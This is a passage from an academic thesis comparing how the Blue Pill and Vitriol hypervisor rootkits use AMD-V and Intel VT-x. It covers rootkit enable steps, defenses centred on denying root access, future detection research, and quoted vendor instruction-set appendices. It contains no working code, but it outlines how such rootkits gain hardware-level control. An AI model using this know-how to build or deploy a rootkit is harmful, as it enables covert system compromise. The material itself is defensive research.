CPUID, INVD, MOV from CR3, 
any MSRs or CRs 
CPU enable action set EFER.SVME = 1 set CR4.VMXE = 1 
VMM enable action set EFER.SVME = 1 VMXON instruction 
VM enable action VMRUN with RAX register 
(current-VMCB pointer) 
VMLAUNCH instruction with 
current-VMCS pointer 
Required preconditions 
prior to processor 
entering virtualization 
mode 
EFER.SVME control bit set to 1 CR4.VMXE, CR0.NE, CR0.PG 
and CR0.PE control bits set to 
1, EFLAGS.VM set to 0, cannot 
be in A20M mode 
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The VMCB and VMCS data structures are only analogous in function, 
whereas their operation differs considerably. The Intel VMXON Region and AMD 
Control Area are also somewhat analogous in function, but differ in their use and 
implementation. Both solutions also require interaction with and manipulation of 
various registers, MSRs, pointers, and data tables differently. Furthermore, some 
of these features exist on one processor type but not the other, or are 
implemented in hardware differently. 
The Intel specification is more detailed and deliberate than the AMD 
specification. The AMD specification only contains four instructions whereas the 
Intel specification contains ten and exercises a larger scope of control over the 
virtualization process. It is not clear if this added complexity results in added 
security or not, and it is not clear why the two respective companies chose to 
implement their solutions the way they did. This aspect was not examined as part 
of this thesis. 
From examination of Table 1 it can be easily seen that there does not 
exist significant commonality within the AMD-V and Intel VT-x hardware 
virtualization implementations to be useful in identifying a common set of 
technical countermeasures capable of mitigating both AMD and Intel attack 
vectors.  
Broadening the scope of investigation outside of the scope of AMD-V and 
Intel VT-x does yield some commonalities as shown in Table 2. 
 
Table 2. Commonalities of Blue Pill on AMD-V, Blue Pill on Intel VT-x and Vitriol 
 Blue Pill on 
AMD-V  




Root Access X X X 
Use of Windows DriverObject X X  
Use of loadable kernel extensions   X 
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As with any form of malware, root level access is the Achilles heel of the 
target OS and the same is true for the Blue Pill and Vitriol rootkits. Root level 
access is the first step in the HVM rootkit process, and without it none of the 
other subsequent steps could be executed successfully.  
In the case of Blue Pill, the Windows driver loading process is another 
common vulnerability. In both cases a Windows DriverObject must be created to 
elevate the driver code to hardware level access. In the case of Vitriol, the 
loadable kernel extension is exploited in a similar manor to provide the same 







The Blue Pill source code analysis shows that functionally the two rootkits 
are nearly identical, but when examined from a technical implementation 
perspective they are very different. There is no common, single characteristic or 
set of characteristics which both AMD-V and Intel VT-x depend on for successful 
implementation. This prevents the establishment of a common, low level, 
technical attack methodology which would be effective in defending against 
across a wide range of systems employing x86 hardware virtualization 
technology. The research has shown that one of the best methods for defending 
against an HVM rootkit is the same as for any other rootkit, and that is the denial 
of root level access. 
The Blue Pill HVM rootkit is not a one size fits all package, and it was 
never intended to be. Its stated purposes were for training and proof of concept. 
It must be deliberately compiled for either AMD or Intel and be tailored for the 
implementation that it is intended for. This is not to say that a version could not 
be coded to select on the fly which code was necessary and adapt its 
implementation accordingly. There are many examples of malware that does 
employ this methodology, but it usually incurs a cost in both size and complexity. 
Developing a common code which could run on both systems would most likely 
be overly complex for the small benefit that would be gained in functional 
simplicity. 
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VI. RELATED AND FUTURE WORK 
The concept of an HVM rootkit is not new; and therefore work has been 
and continues to be done in this area, particularly since the introduction of AMD-
V and Intel VT-x technologies. Although Invisible Things Lab and Matasano 
Security Lab have apparently ceased development of Blue Pill and Vitriol, there 
exist several possible areas where future research could yield interesting and 
useful advances in this subject area. It should also be noted that there exists a 
fine line between preventing malicious exploitation of virtualization technologies, 
and creating a self-imposed denial of the valuable capability which these new 
technologies provide. 
As discussed in the conclusion, the probable best defense to date of HVM 
rootkits prior to subversion is the denial of root level access. This aspect could be 
further researched to determine if certain software extensions could be made 
effective in preventing exploitation of virtualization technologies by identifying and 
targeting unauthorized attempts at exploiting those capabilities. 
There exist useful purposes of HVM rootkits as well. These purposes 
could be identified and exploited for constructive reasons. One such constructive 
use is using a Blue Pill like hypervisor to defend a non-virtualized OS. If a Blue 
Pill like hypervisor is already in place defending a system, then a malicious HVM 
rootkit would be denied access by virtue of non-availability of the virtualization 
hardware. HyperShield is one such solution which uses a hypervisor-based 
security system to protect an OS [50]. Other constructive uses include VM 
introspection, system health monitoring, and certain aspects of TPM 
implementation just to name a few. 
HyperWall is an architecture proposed by Szefer and Lee to protect guest 
VMs from attacks by malicious hypervisors [51]. Interesting insight could be 
gained by further researching areas where a VM could be defended against an 
HVM rootkit which was successful in subverting an OS. OS features could then 
 80
be proposed which would make them resistant to exploitation efforts following 
such a successful attack. 
As shown in Table 1, AMD-V and Intel VT-x differ in scope of control and 
complexity. Do these technical implementation differences translate into inherent 
system security differences between the respective hardware virtualization 
implementations?  
Blue Pill initial claims were that it was a completely undetectable HVM 
rootkit. That was widely disputed by many researchers which had various 
degrees of success in disproving its creator’s claim. Most of these efforts focused 
on detecting processor performance anomalies, but could memory forensics 
provide a better indicator of HVM rootkit activity? 
Although there has already been significant research done in HVM rootkit 
detectability, this is a broad and complex area of research which can provide 
additional useful insight. Both Intel and AMD programmer’s manuals state that 
there is no hardware bit or register that can be queried to identify that a 
processor is running in AMD-V or VMX non-root mode [26], [27]. Are there any 




APPENDIX A. AMD-V INSTRUCTION SET 
VMLOAD  Loads a subset of processor state from the VMCB specified by the system-
physical address in the rAX register. The portion of RAX used to form the 
address is determined by the effective address size. The VMSAVE and VMLOAD 
instructions complement the state save/restore abilities of VMRUN and 
#VMEXIT, providing access to hidden state that software is otherwise unable to 
access, plus some additional commonly-used state.  
 
VMMCALL Provides a mechanism for a guest to explicitly communicate with the VMM by 
generating a #VMEXIT. A non-intercepted VMMCALL unconditionally raises a 
#UD exception. VMMCALL is not restricted to either protected mode or CPL 
zero.  
 
VMRUN Starts execution of a guest instruction stream. The physical address of the virtual 
machine control block (VMCB) describing the guest is taken from the rAX register 
(the portion of RAX used to form the address is determined by the effective 
address size). The physical address of the VMCB must be aligned on a 4K-byte 
boundary. VMRUN saves a subset of host processor state to the host state-save 
area specified by the physical address in the VM_HSAVE_PA MSR. VMRUN 
then loads guest processor state (and control information) from the VMCB at the 
physical address specified in rAX. The processor then executes guest 
instructions until one of several intercept events (specified in the VMCB) is 
triggered. When an intercept event occurs, the processor stores a snapshot of 
the guest state back into the VMCB, reloads the host state, and continues 
execution of host code at the instruction following the VMRUN instruction. 
 
VMSAVE Stores a subset of the processor state into the VMCB specified by the system-
physical address in the rAX register (the portion of RAX used to form the address 
is determined by the effective address size). The VMSAVE and VMLOAD 
instructions complement the state save/restore abilities of VMRUN and 
#VMEXIT, providing access to hidden state that software is otherwise unable to 
access, plus some additional commonly-used state. 
 
 
Support for the SVM architecture and the SVM instructions is indicated by CPUID 
Fn8000_0001_ECX[SVM] = 1. For more information on using the CPUID instruction, see the 












The above listing is taken directly from the AMD64 Architecture Programmer’s 
Manual Volume 3: General-Purpose and System Instructions (May 2013) [26] 
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APPENDIX B. INTEL VT-X INSTRUCTION SET 
The behavior of the VMCS-maintenance instructions is summarized below: 
 
VMPTRLD  Takes a single 64-bit source operand in memory. It makes the referenced VMCS 
active and current. 
VMPTRST  Takes a single 64-bit destination operand that is in memory. Current-VMCS 
pointer is stored into the destination operand. 
VMCLEAR  Takes a single 64-bit operand in memory. The instruction sets the launch state of 
the VMCS referenced by the operand to “clear”, renders that VMCS inactive, and 
ensures that data for the VMCS have been written to the VMCS-data area in the 
referenced VMCS region. 
VMREAD  Reads a component from the VMCS (the encoding of that field is given in a 
register operand) and stores it into a destination operand. 
VMWRITE  Writes a component to the VMCS (the encoding of that field is given in a register 
operand) from a source operand. 
 
The behavior of the VMX management instructions is summarized below: 
 
VMLAUNCH  Launches a virtual machine managed by the VMCS. A VM entry occurs, 
transferring control to the VM. 
VMRESUME  Resumes a virtual machine managed by the VMCS. A VM entry occurs, 
transferring control to the VM. 
VMXOFF  Causes the processor to leave VMX operation. 
VMXON  Takes a single 64-bit source operand in memory. It causes a logical processor to 
enter VMX root operation and to use the memory referenced by the operand to 
support VMX operation. 
 
The behavior of the VMX-specific TLB-management instructions is summarized below: 
 
INVEPT  Invalidate cached Extended Page Table (EPT) mappings in the processor to 
synchronize address translation in virtual machines with memory-resident EPT 
pages. 
INVVPID  Invalidate cached mappings of address translation based on the Virtual 
Processor ID (VPID). 
 
None of the instructions above can be executed in compatibility mode; they generate invalid-
opcode exceptions if executed in compatibility mode. 
 
The behavior of the guest-available instructions is summarized below: 
 
VMCALL  Allows a guest in VMX non-root operation to call the VMM for service. A VM exit 
occurs, transferring control to the VMM. 
VMFUNC  This instruction allows software in VMX non-root operation to invoke a VM 
function, which is processor functionality enabled and configured by software in 




The above listing is taken directly from the Intel 64 and IA32 Architectures 
Software Developer Manual (September 2013) [27] 
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